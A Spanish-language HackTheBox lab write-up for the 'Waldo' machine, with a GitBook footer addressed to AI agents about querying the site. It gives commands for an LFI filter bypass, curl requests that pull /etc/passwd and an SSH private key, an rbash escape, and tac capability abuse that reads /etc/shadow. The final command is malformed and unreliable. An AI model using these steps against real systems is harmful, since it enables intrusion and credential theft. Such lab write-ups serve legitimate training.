> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md). # Análisis de Waldo HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * LFI (Inclusión de Archivos Locales) - Bypass de filtro * Obtención de la clave privada SSH de un usuario mediante el LFI * Escapar de un contenedor * Bypass de shell restringida * Abuso de capacidades (cap\_dac\_read\_search+ei) (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts ```

**Escaneo de versiones de puertos con Nmap 22,80:** Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p22,80 10.10.10.87 -oN targeted ```

## Explotación del puerto 80

#### Intercepción con Burp Suite Analizamos las consultas e identificamos una vulnerabilidad **LFI** (Inclusión de Archivos Locales).

### Prueba básica de LFI Intentamos acceder a `/etc/passwd`: ``` ../../../../etc/passwd ``` Esto no funciona.

### Bypass de filtro LFI Estamos probando un bypass con ``` ....//....//../....//..//....//etc/passwd ``` Este bypass funciona, y ahora podemos listar el `/etc/passwd` archivo.

#### Extracción de archivos con Curl Usamos `curl` para recuperar el archivo a través del endpoint vulnerable: {% code overflow="wrap" %} ```bash curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file' ``` {% endcode %} Encontramos al usuario **nobody**.

### Acceso al `.ssh` directorio de nobody Interceptamos la petición de la página `list.html` y observamos que la variable `path` se utiliza para recuperar archivos.

Exploramos el directorio home de `nobody`: ``` ....//....//../....//..//....//home/nobody/.ssh/ ```

Encontramos un `.monitor` archivo. #### Extracción de la clave privada SSH {% code overflow="wrap" %} ```bash curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file' ``` {% endcode %} Estamos obteniendo una clave privada.

#### Conexión SSH a nobody Nos conectamos con la clave recuperada: ```bash ssh nobody@10.10.10.87 -i id_rsa ```

### Bandera user.txt :)

## Pivotando al usuario operator Identificamos un archivo de usuario `operador`

Encontramos un `authorized_keys` perteneciente a `monitor`.

#### Conexión SSH a monitor ```bash ssh monitor@127.0.0.1 -i .monitor ``` Nos encontramos en una shell pequeña (`rbash`).

### Bypass de shell restringida Iniciamos una sesión SSH especificando `bash`: ```bash ssh monitor@127.0.0.1 -i .monitor "bash --noprofile" ```

## Escalada de privilegios ### Capabilities - tac Listamos archivos con capacidades específicas: ```bash getcap -r / 2>/dev/null ``` Identificamos que **tac** tiene la capacidad `cap_dac_read_search+ei` :

#### Operación con tac para leer archivos protegidos El `tac` comando (inverso de `cat`) nos permite mostrar los archivos invirtiendo su contenido. ```bash tac /etc/shadow ```

### Bandera root.txt :) **Lectura de la flag root.txt** ```bash tac /root/root.txt | tac ```

**Recuperación de la clave SSH de root** ```bash /usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.